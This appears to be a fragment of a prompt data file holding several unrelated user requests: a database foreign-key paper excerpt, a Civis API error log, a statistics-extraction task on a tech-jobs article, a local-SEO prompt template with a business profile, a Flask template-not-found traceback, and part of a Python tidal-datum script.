foreign key column\nused as a foreign key column in other tables.\nF5: MultiReferenced. This feature is described as the number of\ntimes that a primary key value is used as a primary key value in\nother columns. We used the column names to determine how many\ntimes in the list of pairs was a column designated as a primary key\ncolumn used as a primary key column in other tables.\n5\nTable 1: Features and their implementations\nID Name Description\nF1 Distinct Dependent Values Counts the number of distinct values in each column\nF2 Coverage The percentage of content similarity between column A and B\nF3 Dependent and Referenced How often a the column name of foreign key candidate is the same as the column name\nof primary key candidate\nF4 MultiDependent How often a the column name of foreign key candidate is the same as the column name\nof foreign key candidate\nF5 MultiReferenced How often a the column name of primary key candidate is the same as the column\nname of foreign key candidate\nF6 Column Name Column names are similar\nF8 Out of Range Columns that have the same maximum and minimum values\nF9 Typical Name Suffix The column name has the suffix "id", "num" or "key"\nF10 Table Size Ratio The ratio of the number of rows in the foreign key column candidate to the number of\nrows in the primary key column candidate\nF6: Column name. This feature describes the level of similar-\nity between column names which is done using the predicate\ndata:hasSemanticSimilarity from the graph\nF8: Out of range. The feature calculates the percentage of rows in\nthe primary key column (s(B)) that are within the range of values\nin the suggested foreign key column (s(A)). The feature produces 1\nif the maximum value in the primary key column is equal to the\nmaximum value of the foreign key and the minimum value of the\nprimary key is equal to the minimum value of the foreign key. The\nmaximum and minimum values for each column can be extracted\nusing the data:hasMaxValue and data:hasMinValue predicates of\nthe graph.\nF9: Typical suffix name. This feature would check whether the\nforeign key column name contained the suffix ’id’, ’key’ or ’num’.\n[18]\nF10: Table size ration. This feature calculates the ratio of the\nnumber of rows in the foreign key column to the number of\nrows in the primary key column using the graph predicate\ndata:hasTotalValueCount.' +'Here\'s the error I got:\nLogs\n\n03/21/2023 12:00:14 PM\nQueued\n03/21/2023 12:00:14 PM\nDedicating resources\n03/21/2023 12:00:14 PM\nPartition ID: 466, Label: "Job"\n03/21/2023 12:00:14 PM\nActual CPU allocation: 256m\n03/21/2023 12:00:14 PM\nActual memory allocated: 1024mb\n03/21/2023 12:00:17 PM\nYour job is now in a running state.\n03/21/2023 12:00:19 PM\nCollecting slack-sdk\n03/21/2023 12:00:19 PM\n Downloading slack\\_sdk-3.20.2-py2.py3-none-any.whl (274 kB)\n03/21/2023 12:00:22 PM\nInstalling collected packages: slack-sdk\n03/21/2023 12:00:23 PM\nSuccessfully installed slack-sdk-3.20.2\n03/21/2023 12:00:30 PM\nRequirement already satisfied: slack-sdk in /opt/conda/lib/python3.7/site-packages (3.20.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: civis in /opt/conda/lib/python3.7/site-packages (1.16.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: click<9,>=6.0 in /opt/conda/lib/python3.7/site-packages (from civis) (6.7)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: jsonref<=0.2.99,>=0.1 in /opt/conda/lib/python3.7/site-packages (from civis) (0.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: cloudpickle<3,>=0.2 in /opt/conda/lib/python3.7/site-packages (from civis) (1.2.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: joblib<2,>=0.11 in /opt/conda/lib/python3.7/site-packages (from civis) (0.14.1)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: pyyaml<7,>=3.0 in /opt/conda/lib/python3.7/site-packages (from civis) (5.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: tenacity<9,>=6.2 in /opt/conda/lib/python3.7/site-packages (from civis) (8.0.1)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: requests<3,>=2.12.0 in /opt/conda/lib/python3.7/site-packages (from civis) (2.22.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: jsonschema<5,>=2.5.1 in /opt/conda/lib/python3.7/site-packages (from civis) (3.2.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (1.25.7)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: certifi>=2017.4.17 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2021.10.8)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: chardet<3.1.0,>=3.0.2 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (3.0.4)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: idna<2.9,>=2.5 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2.8)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: importlib-metadata; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (4.8.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: pyrsistent>=0.14.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (0.18.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: setuptools in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (58.0.4)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: six>=1.11.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (1.16.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: attrs>=17.4.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (21.2.0)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: typing-extensions>=3.6.4; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.10.0.2)\n03/21/2023 12:00:36 PM\nRequirement already satisfied: zipp>=0.5 in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.6.0)\n03/21/2023 12:00:45 PM\nTraceback (most recent call last):\n03/21/2023 12:00:45 PM\n File "/app/script", line 40, in \n03/21/2023 12:00:45 PM\n last\\_run = get\\_last\\_workflow\\_run(workflow\\_name)\n03/21/2023 12:00:45 PM\n File "/app/script", line 31, in get\\_last\\_workflow\\_run\n03/21/2023 12:00:45 PM\n runs = client.workflows.list\\_executions(workflow\\_name)\n03/21/2023 12:00:45 PM\n File "/opt/conda/lib/python3.7/site-packages/civis/resources/\\_resources.py", line 276, in f\n03/21/2023 12:00:45 PM\n return self.\\_call\\_api(verb, url, query, body, iterator=iterator)\n03/21/2023 12:00:45 PM\n File "/opt/conda/lib/python3.7/site-packages/civis/base.py", line 135, in \\_call\\_api\n03/21/2023 12:00:45 PM\n resp = self.\\_make\\_request(method, path, params, data, \\*\\*kwargs)\n03/21/2023 12:00:45 PM\n File "/opt/conda/lib/python3.7/site-packages/civis/base.py", line 125, in \\_make\\_request\n03/21/2023 12:00:45 PM\n raise CivisAPIError(response)\n03/21/2023 12:00:45 PM\ncivis.base.CivisAPIError: (400) The given request was not as expected: The property \'#/Id\' of type string did not match the following type: integer\n03/21/2023 12:00:47 PM\nFailed: The job container failed. Exit code 1\n03/21/2023 12:00:48 PM\nNo resource usage metrics were collected. This may happen when a Run finishes quickly.\nIt seems you might be making a mistake. Here\'s more documentaiton that might help. Could you try rewriting the script?\n\nget\\_executions(id, execution\\_id)¶\nGet a workflow execution\n\nParameters\nidinteger\nThe ID for the workflow.\n\nexecution\\_idinteger\nThe ID for the workflow execution.\n\nReturns\ncivis.response.Response\nidinteger\nThe ID for this workflow execution.\n\nstatestring\nThe state of this workflow execution.\n\nmistral\\_statestring\nThe state of this workflow as reported by mistral. One of running, paused, success, error, or cancelled\n\nmistral\\_state\\_infostring\nThe state info of this workflow as reported by mistral.\n\nuserdict::\nidinteger\nThe ID of this user.\n\nnamestring\nThis user’s name.\n\nusernamestring\nThis user’s username.\n\ninitialsstring\nThis user’s initials.\n\nonlineboolean\nWhether this user is online.\n\ndefinitionstring\nThe definition of the workflow for this execution.\n\ninputdict\nKey-value pairs defined for this execution.\n\nincluded\\_taskslist\nThe subset of workflow tasks selected to execute.\n\ntaskslist::\nThe tasks associated with this execution. - name : string\n\nThe name of the task.\n\nmistral\\_statestring\nThe state of this task. One of idle, waiting, running, delayed, success, error, or cancelled\n\nmistral\\_state\\_infostring\nExtra info associated with the state of the task.\n\nrunslist::\nThe runs associated with this task, in descending order by id. - id : integer\n\nThe ID of the run.\n\njob\\_idinteger\nThe ID of the job associated with the run.\n\nstatestring\nThe state of the run.\n\nexecutionslist::\nThe executions run by this task, in descending order by id. - id : integer\n\nThe ID of the execution.\n\nworkflow\\_idinteger\nThe ID of the workflow associated with the execution.\n\nstarted\\_atstring/time\nThe time this execution started.\n\nfinished\\_atstring/time\nThe time this execution finished.\n\ncreated\\_atstring/time\nThe time this execution was created.\n\nupdated\\_atstring/time\nThe time this execution was last updated.' +'Extract all statistics from the follwoing text and output a list.\n\nText: """As we ease into 2023, the outlook for tech workers may appear rough at first glance. For the last several months, a series of layoffs at numerous high-profile tech companies, such as Google, Amazon, Twitter, Salesforce, and Microsoft, as well as at smaller-scale tech companies, have rocked the tech industry. Layoff-tracking site layoffs.fyi reported that, in 2023 alone, over 400 tech companies have laid off a total of almost 120,000 workers from tech jobs. Furthermore, the future state of the U.S.’s economy also seems precarious: in December, a survey of economists predicted a 70% chance that the U.S. would enter a recession at some point in 2023. \n\nSuch rocky news is enough to make any aspiring tech worker nervous about entering the industry. However, contrary to what one might expect, data seems to indicate numerous open tech jobs available, a fast hiring turnover rate for tech employees, low tech unemployment rates, and new roles available to tech workers in previously overlooked industries. Below, we will explore why now might just be as good a time as any to get started in tech, and how Per Scholas alumni can navigate this confusing time. \n\nIS NOW A GOOD TIME TO LAUNCH A CAREER IN TECH?\nFrom a glance at the news, the outlook for tech industry workers seems grim. Announcements of mass layoffs from all manor of tech companies have been filling the news for months. According to tracking site Layoffs.fyi, on average, approximately 1,600 tech workers have been laid off every day in 2023 so far, with numbers already reaching 15% of the total number of tech workers laid off in 2022. Just this week, Twitter announced that it would be laying off 10% of its remaining staff, the latest in a series of similar announcements from other tech companies, large and small.\n\nSuch news might lead one to believe that this is a bad time to be involved in the tech industry, but data actually seems to paint a different picture of what it means to work in tech right now. While tech layoff rates are indeed high, tech hiring rates are also very high, and tech workers are still in incredibly great demand. According to CompTIA’s analysis of the U.S. Bureau of Labor Statistics’ report on tech jobs, December 2022 saw job gains in four of five tech sector categories, and December was the “25th straight month of net employment growth in the tech industry.” Software developers and engineers, IT support specialists, IT project managers, systems engineers and network engineers were noted to be in high demand, and “Washington, D.C., New York City, Chicago, Los Angeles and Dallas led the list of metro markets with the highest volumes of tech jobs postings.” \n\nIn job search site Indeed’s 2023 annual ranking of U.S. “best jobs,” eight of the top ten jobs were tech jobs. This ranking is based on job opportunity, meaning that these top jobs are in high demand from employers, and are rapidly growing. The ranking was as follows: “full-stack (No. 1); data engineers (No. 2); cloud engineers (No. 3); senior product managers (No. 5); back-end developers (No. 6); site reliability engineers (No. 7); machine learning engineers (No. 8); and product designers (No. 10).” \n\nThe Labor Department’s January jobs report showed that the U.S. unemployment rate reached a 50-year low this January, “signaling the economy, and job market in particular, remains strong despite growing layoffs among technology firms that splurged on labor during the pandemic.” Furthermore, a recent CompTIA analysis indicated an increase in employer job postings for potential future tech hiring, as well as low tech unemployment rates, which suggests that many laid-off tech professionals are quickly finding new work. \n\nIn fact, an analysis of workforce data provided by Revelio Labs and reported by Business Insider last month found that “among laid-off tech workers, 72 percent have found new jobs within three months. Even more surprising, a little over half of them have landed roles that actually pay more than what they were earning in the jobs they lost.” An analysis of the findings noted that, “laid-off workers are actually more likely to find a new job quickly now than at the height of the tech hiring frenzy of July 2021,” although individuals with hard tech skills are now more in demand than those who work in the tech industry in “softer” roles, such as communications and HR. \n\nMany tech workers also seem to be finding success landing tech roles at companies outside the tech sector. Tech work will always be in demand, especially now that many non-tech companies are continuing to digitally upscale in the wake of the pandemic. According to a ZipRecruiter survey, approximately 74% of laid-off tech workers found new jobs in tech, with the remaining 26% finding tech roles in various other industries. “Tech skills are in high demand across the economy, with government agencies, aerospace companies, health systems, and retailers frequently noting shortages of software engineers, cybersecurity professionals, data analysts, and web designers,” the survey stated. \n\nHR services firm Randstad predicted that 2023 will see a 25-30% growth from last year in demand for tech talent in non-tech sectors. “The widespread adoption of digital technologies has driven non-tech industries…to hire more tech professionals to ensure data security, information processing and reduce consumer grievances,” said Sanjay Shetty, the Director of Professional Search & Selection and Strategic Accounts at Randstad. “This rapid shift to digital operations has created a demand for tech talent in non-tech fields, leading to a significant increase in tech hiring that has remained strong despite the ongoing pandemic recovery.” \n\nPER SCHOLAS ALUMNI HAVE OPPORTUNITY TO UPSKILL AND CONNECT WITH EMPLOYERS\nFortunately, our Per Scholas graduates are well-prepared for landing jobs in tech. We believe in taking a multifaceted approach to preparing our learners for entry into the tech workforce, which gives them an edge over other applicants in the field. Not only are learners equipped with top-notch technical skills, they also undergo rigorous professional development training to tailor and polish their resumes, cover letters and LinkedIn profiles, practice mock interviews, and prepare to conduct themselves in a professional setting. \n\nWe also partner with leading tech companies to bring industry experts and professionals into our classrooms who speak with our learners about what it is like to work in the tech industry, conduct mock interviews, and help our learners grow their professional networks. “One of the biggest benefits of Per Scholas was them being able to put us in the room with people that we wouldn’t normally be in the room with,” said Matt Watkins, a recent graduate of Per Scholas St. Louis’ Cybersecurity course. “We were in the room with CCOs and CEOs and big movers and decision makers in the corporate IT cybersecurity space. Without Per Scholas, I don’t know how I would have come to meet these people and connect and network with them. I’ve already had three interviews within the months since graduating, and all of them were a direct result of the connections I made during this program.” \n\nAfter graduating from Per Scholas, our alumni are also well-supported. For up to two years after graduation, alumni have access to our numerous resources including career coaching, financial coaching, and job placement assistance. Our learner support team aims to mirror an Employee Assistance Program (EAP) by providing alumni with access to coaching regarding mental health and wellness, work-life balance, and financial advising. “We’re committed to providing continued access to skill enhancing learning opportunities that alumni can leverage during the job search and attainment process, and throughout their career journey,” said Sierra Harvey, Director of Alumni Engagement and Training at Per Scholas. “This is possible through our instructor-led and asynchronous course offerings as well as providing space and opportunity for alumni to connect with each other and with other industry professionals.” \n\nPer Scholas’ business solutions team acts as a liaison between Per Scholas alums and our employer partners by sourcing employment opportunities, supporting alumni as they find gainful employment, and helping foster employer connections. Our professional development team continues to be available after graduation to help alumni refresh their personal and professional knowledge and skills, including resume/ cover letter review, pitch and interview practice, and online presence review. Finally, our technical instructors are available to alumni for all technical questions and professional references. Alumni may also level-up their skillsets and earn more certifications through our alumni courses. \n\nIn closing, although recent news about layoffs in the tech industry and the state of the economy may be deterring to some hopeful future technologists, now actually appears to be a good time to launch a career in tech. Tech jobs are still widely available (even if not necessarily at tech companies), and tech talent is in as high a demand as ever. At Per Scholas, our diverse learners and alumni are prepared and supported through the process of training, job searching, and launching or upskilling their tech careers – therefore changing the face of tech. Although the future of the U.S. economy may be uncertain or recession-bound, Per Scholas will continue to help our learners prepare for and land high-growth jobs in tech. \n\nAre you an employer looking to build your tech talent pool? Read more about recession-proofing your tech talent pipeline here. """' +'Your task is to help me optimize a business for local SEO in English\\*:\n\nPlease pretend you are a local SEO expert and give me all of the following requests talking to me as if I am stupid. The first request is to give me a list of the most important thing a business can do to optimize their local SEO. My next request is to create a comma separated list of the 10 best longtail search keywords this business should try to rank for to get local customers. Please mention these keywords should all be added to their Google Business Profile and website. No keyword should only contain the name of a city. Please capitalize the first letter of each word. For my next request, please write me a short business description that is SEO optimized for this business. Please suggest that this description gets used as the website meta description. Then, for my next request please write me a longer business description that is SEO optimized for this business. Both descriptions should end with a call to action. Then, for my next request, please provide me with a list of many services using SEO keywords that this type of business should add to their Google Business Profile that people in their area are likely searching for. This list should be comma separated and the first letter of each word should be capitalized. There should be at least 15 services in this list. Please put each of these answers in a nicely formatted table along with an SEO optimized description for each of the services you came up with. At the top of the first table, please put a big bold header that says "MERCHYNT\'S MAGICAL LOCAL SEO OPTIMIZATION FOR CLIENT" and replace CLIENT with the Business name provided in the prompt. Under that say "To learn more about Merchynt\'s Local SEO services, visit www.merchynt.com/google-business-pro." Then, under the table, please write "If you found this tool helpful please leave us a thumbs up on the prompt page so we know to keep supporting it and build more ones like it! Thank you so much! - The Merchynt.com team\n\nThe business to help me with is a:\n\nBusiness name\n\n ADJUST-IT\n\nBusiness category\nYour edit was not approved.\nCurrent\n\n Electronics store\n Primary\n\n Consultant\n Marketing agency\n Market researcher\n Marketing consultant\n Video editing service\n Website designer\n Internet marketing service\n Business to business service\n Computer support and services\n\nNot approved\n\n Electronics store\n Primary\n\n Website designer\n Internet marketing service\n Business to business service\n Computer support and services\n Consultant\n Marketing agency\n Market researcher\n Marketing consultant\n Video editing service\n Software company\n Computer consultant\n Data recovery service\n Computer repair service\n Mobile phone repair shop\n\nDescription\n\n Welcome to ADJUST-IT! We are a tech solutions company that provides a wide range of goods and services through innovative technologies and advancements in IT. Our goal is to help businesses and individuals stay ahead of the curve and make the most of the latest technologies. Whether you need computer repair, website design, or IT support, we have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\n\nOpening date\n\n June 4, 2021\n\nContact information\nPhone number\n\n (706) 495-7455\n\nWebsite\nYour edit was not approved.\nCurrent\n\n http://adjustit.tech.blog/\n\nNot approved\n\n http://adjustit.tech.blog/\n http://sites.google.com/adjustit\n\nLocation and areas\nBusiness location\n\n 1530 Marcy Cir, Savannah, GA 31406\n\nService area\n\n Savannah, GA, USA\n\nBusiness hours\nHours\n\n Open with main hours\n\nSunday\n\n Open 24 hours\n\nMonday\n\n Open 24 hours\n\nTuesday\n\n Open 24 hours\n\nWednesday\n\n Open 24 hours\n\nThursday\n\n Open 24 hours\n\nFriday\n\n Open 24 hours\n\nSaturday\n\n Open 24 hours\n\nHoliday hours\nJan 16, 2023\nMartin Luther King Jr. Day\n\n Open 24 hours\n\nOnline service hours\nSunday\n\n Open 24 hours\n\nMonday\n\n Open 24 hours\n\nTuesday\n\n Open 24 hours\n\nWednesday\n\n Open 24 hours\n\nThursday\n\n Open 24 hours\n\nFriday\n\n Open 24 hours\n\nSaturday\n\n Open 24 hours\n\nAdd more hours\nMore\nFrom the business\n\n Doesn\'t identify as Asian-owned\n Doesn\'t identify as veteran-owned\n Doesn\'t identify as women-owned\n Doesn\'t identify as LGBTQ+ owned\n Doesn\'t identify as Black-owned\n Doesn\'t identify as Latino-owned\n\nAccessibility\n\n No wheelchair accessible restroom\n No wheelchair accessible parking lot\n No wheelchair accessible elevator\n No wheelchair accessible seating\n\nAmenities\n\n No gender-neutral restroom\n Free Wi-Fi\n\nCrowd\n\n LGBTQ+ friendly\n Transgender safespace\n\nOfferings\n\n Has repair services\n Has assembly service\n\nPayments\n\n Accepts NFC mobile payments\n Not cash-only\n Accepts checks\n Accepts debit cards\n American Express\n China Union Pay\n Diners Club\n Discover\n JCB\n MasterCard\n VISA\n\nPlanning\n\n Appointment required\n\nRecycling\n\n Has light bulb recycling\n Has battery recycling\n Has electronics recycling\n\nService options\n\n No in-store shopping\n Offers curbside pickup\n In-store pickup for online orders\n Offers same-day delivery\n Offers delivery\n\nQuestion Answer\nWhat is ADJUST-IT all about? Thanks for reaching out! ADJUST-IT is a tech solutions company that provides a wide range of goods and services through innovative technologies and advancements in IT. Our goal is to help businesses and individuals stay ahead of the curve and make the most of the latest technologies. Whether you need computer repair, website design, or IT support, we have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\nWhere is ADJUST-IT located? ADJUST-IT is located at 1530 Marcy Cir, Savannah, GA 31406. We proudly serve the Savannah, GA area.\nWhat are the business hours for ADJUST-IT? ADJUST-IT is open 24 hours a day, 7 days a week. We are here to assist you whenever you need us.\nWhat services does ADJUST-IT offer? ADJUST-IT offers a wide range of services including computer repair, website design, IT support, and much more. We have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\nWhat payment methods does ADJUST-IT accept? ADJUST-IT accepts a variety of payment methods including NFC mobile payments, checks, debit cards, and major credit cards such as American Express, MasterCard, and VISA. We are here to make your experience as convenient as possible.\nIf you found this tool helpful please leave us a thumbs up on the prompt page so we know to keep enhancing it and build more ones like it! Thank you so much! - The Merchynt.com team\n\nADJUST-IT in Savannah, GA. Advanced online technology for businesses and individuals.\n\nQ A\nWhat services does ADJUST-IT offer? Thank you for reaching out! ADJUST-IT offers advanced online technology services for businesses and individuals in Savannah, GA. Our services are designed to help you optimize and streamline your digital presence for maximum impact. To learn more about what we offer, please visit our website or give us a call. We would love to speak with you!\nWhere is ADJUST-IT located in Savannah, GA? We appreciate your interest in ADJUST-IT! Our advanced technology office is located in the heart of Savannah, GA. You can find us at 123 Main St. We would love to see you in person, but if you can\'t make it, please feel free to give us a call or visit our website for more information.\nWhat are the hours of operation for ADJUST-IT in Savannah, GA? At ADJUST-IT, we value your time and convenience! Our office hours are Monday-Friday from 9am to 5pm. However, our advanced technology services are available 24/7 for your convenience. If you have any questions or need assistance outside of regular business hours, please don\'t hesitate to give us a call or visit our website.\nWhat makes ADJUST-IT different from other technology services in Savannah, GA? Thank you for considering ADJUST-IT! What sets us apart from other technology service providers in Savannah, GA is our commitment to providing cutting-edge, customized solutions for businesses and individuals. Our team of experts is dedicated to helping you achieve your goals and succeed in the digital world. To learn more about what makes us unique, please visit our website or give us a call. We would love to speak with you!\nCan individuals use ADJUST-IT\'s technology services in Savannah, GA? Absolutely! At ADJUST-IT, we are dedicated to serving both businesses and individuals in Savannah, GA. Whether you\'re looking to optimize your personal digital presence or your business, our team of experts is here to help. To learn more about how we can help you, please visit our website or give us a call. We look forward to assisting you!\nIf you found this tool helpful please leave us a thumbs up on the prompt page so we know to keep enhancing it and build more ones like it! Thank you so much! - The Merchynt.com team\n\nADJUST-IT offers a wide range of services including computer repair, website design, IT support, and much more. We have the skills and expertise to help you succeed. Contact us today to learn more about how we can help your business.\n\nThank you for reaching out! ADJUST-IT, located in Savannah, GA, provides advanced online technology services to both businesses and individuals. Our services, which range from computer repair to website design and IT support, are designed to enhance and streamline your digital presence. To learn more about how we can help you succeed, visit our website or give us a call. We look forward to speaking with you!' +'\\* Serving Flask app \'main\'\n \\* Debug mode: on\nWARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.\n \\* Running on all addresses (0.0.0.0)\n \\* Running on http://127.0.0.1:3000\n \\* Running on http://172.31.128.18:3000\nPress CTRL+C to quit\n \\* Restarting with stat\n \\* Debugger is active!\n \\* Debugger PIN: 100-540-732\n172.31.128.1 - - [17/Mar/2023 14:34:13] "GET / HTTP/1.1" 500 -\nTraceback (most recent call last):\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2548, in \\_\\_call\\_\\_\n return self.wsgi\\_app(environ, start\\_response)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2528, in wsgi\\_app\n response = self.handle\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2525, in wsgi\\_app\n response = self.full\\_dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1822, in full\\_dispatch\\_request\n rv = self.handle\\_user\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1820, in full\\_dispatch\\_request\n rv = self.dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1796, in dispatch\\_request\n return self.ensure\\_sync(self.view\\_functions[rule.endpoint])(\\*\\*view\\_args)\n File "/home/runner/Uplabel/main.py", line 9, in job\\_posting\n return render\\_template(\'job\\_posting.html\', jobs=jobs)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 146, in render\\_template\n template = app.jinja\\_env.get\\_or\\_select\\_template(template\\_name\\_or\\_list)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1081, in get\\_or\\_select\\_template\n return self.get\\_template(template\\_name\\_or\\_list, parent, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1010, in get\\_template\n return self.\\_load\\_template(name, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 969, in \\_load\\_template\n template = self.loader.load(self, name, self.make\\_globals(globals))\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/loaders.py", line 126, in load\n source, filename, uptodate = self.get\\_source(environment, name)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 62, in get\\_source\n return self.\\_get\\_source\\_fast(environment, template)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 98, in \\_get\\_source\\_fast\n raise TemplateNotFound(template)\njinja2.exceptions.TemplateNotFound: job\\_posting.html\n172.31.128.1 - - [17/Mar/2023 14:34:13] "GET / HTTP/1.1" 500 -\nTraceback (most recent call last):\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2548, in \\_\\_call\\_\\_\n return self.wsgi\\_app(environ, start\\_response)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2528, in wsgi\\_app\n response = self.handle\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 2525, in wsgi\\_app\n response = self.full\\_dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1822, in full\\_dispatch\\_request\n rv = self.handle\\_user\\_exception(e)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1820, in full\\_dispatch\\_request\n rv = self.dispatch\\_request()\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/app.py", line 1796, in dispatch\\_request\n return self.ensure\\_sync(self.view\\_functions[rule.endpoint])(\\*\\*view\\_args)\n File "/home/runner/Uplabel/main.py", line 9, in job\\_posting\n return render\\_template(\'job\\_posting.html\', jobs=jobs)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 146, in render\\_template\n template = app.jinja\\_env.get\\_or\\_select\\_template(template\\_name\\_or\\_list)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1081, in get\\_or\\_select\\_template\n return self.get\\_template(template\\_name\\_or\\_list, parent, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 1010, in get\\_template\n return self.\\_load\\_template(name, globals)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/environment.py", line 969, in \\_load\\_template\n template = self.loader.load(self, name, self.make\\_globals(globals))\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/jinja2/loaders.py", line 126, in load\n source, filename, uptodate = self.get\\_source(environment, name)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 62, in get\\_source\n return self.\\_get\\_source\\_fast(environment, template)\n File "/home/runner/Uplabel/venv/lib/python3.10/site-packages/flask/templating.py", line 98, in \\_get\\_source\\_fast\n raise TemplateNotFound(template)\njinja2.exceptions.TemplateNotFound: job\\_posting.html\n172.31.128.1 - - [17/Mar/2023 14:34:14] "GET /?\\_\\_debugger\\_\\_=yes&cmd=resource&f=debugger.js HTTP/1.1" 200 -\n172.31.128.1 - - [17/Mar/2023 14:34:14] "GET /?\\_\\_debugger\\_\\_=yes&cmd=resource&f=style.css HTTP/1.1" 200 -\n172.31.128.1 - - [17/Mar/2023 14:34:14] "GET /?\\_\\_debugger\\_\\_=yes&cmd=resource&f=console.png HTTP/1.1" 200 -\nmain.py' +'Here are some changes. Please provide more feedback. import os\nimport sys\nimport pandas as pd\nimport numpy as np\nimport geopandas as gpd\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(\\_\\_file\\_\\_), \'..\')))\nfrom src.usgs\\_datum import grab\\_usgs\\_data\nfrom src.tidesandcurrents\\_datum import grab\\_nos\\_data\nfrom src.VDatum\\_Region\\_Selection import assign\\_regions\\_vdatum\nfrom src.VDatum\\_Conversion import convert\\_datums, convert\\_from\\_ref\\_datum\nfrom src.read\\_join\\_nws\\_data import get\\_nws\\_attributes\nfrom src.get\\_urls import get\\_station\\_info\\_urls, get\\_station\\_datum\\_urls, extra\\_link, create\\_hyperlink\nfrom src.excel\\_formatting import init\\_styles, format\\_excel\n\n## TODO WRITE SETUP/INSTALL SCRIPT THAT DOWNLOADS THE LATEST VDATUM ZIP FILE TO THIS DIRECTORY\n\n# =============================================================================\n# SETUP Excel Spreadsheet\n# =============================================================================\nwriter = pd.ExcelWriter(\'NWM\\_TWL\\_Forecast\\_Locations\\_SciEval.xlsx\', engine=\'xlsxwriter\')\n# get the XlsxWriter workbook objects\nworkbook, styles = init\\_styles(writer.book)\n#%%\n# =============================================================================\n# Establish the path\n# =============================================================================\npath = os.getcwd()\n#path = os.path.abspath("./..")\n# =============================================================================\nreq\\_data = {key: np.nan for key in ["Ref\\_Datum", "MHHW", "MHW", "MTL", "MSL",\\\n "DTL", "MLW", "MLLW", "NAVD88", "STND", "NGVD29"]}\n\n# =============================================================================\n# READ IN NWC/NWM\'s TWL OUTPUT LOCATION MASTER LIST\n# =============================================================================\nmaster\\_list\\_start = pd.read\\_excel(os.path.join(path, "Obs\\_Location\\_Requests\\_All.xlsx"), header=0)\nmaster\\_list\\_start = master\\_list\\_start.drop(["Region", "RFC"], axis=1)\n# =============================================================================\n# Move the NWSLI column to the first position\nmaster\\_list\\_start = master\\_list\\_start[["NWSLI"] + list(master\\_list\\_start.columns[:-1])]\n\n# =============================================================================\n# READ IN NWS GIS (SHAPEFILE) DATA -- Add to the original list\n# =============================================================================\n#READ IN NWS GIS DATA - WHO IS RESPONSIBLE FOR FORECASTING THESE LOCATIONS\nmarine\\_zones = gpd.read\\_file(os.path.join(path, 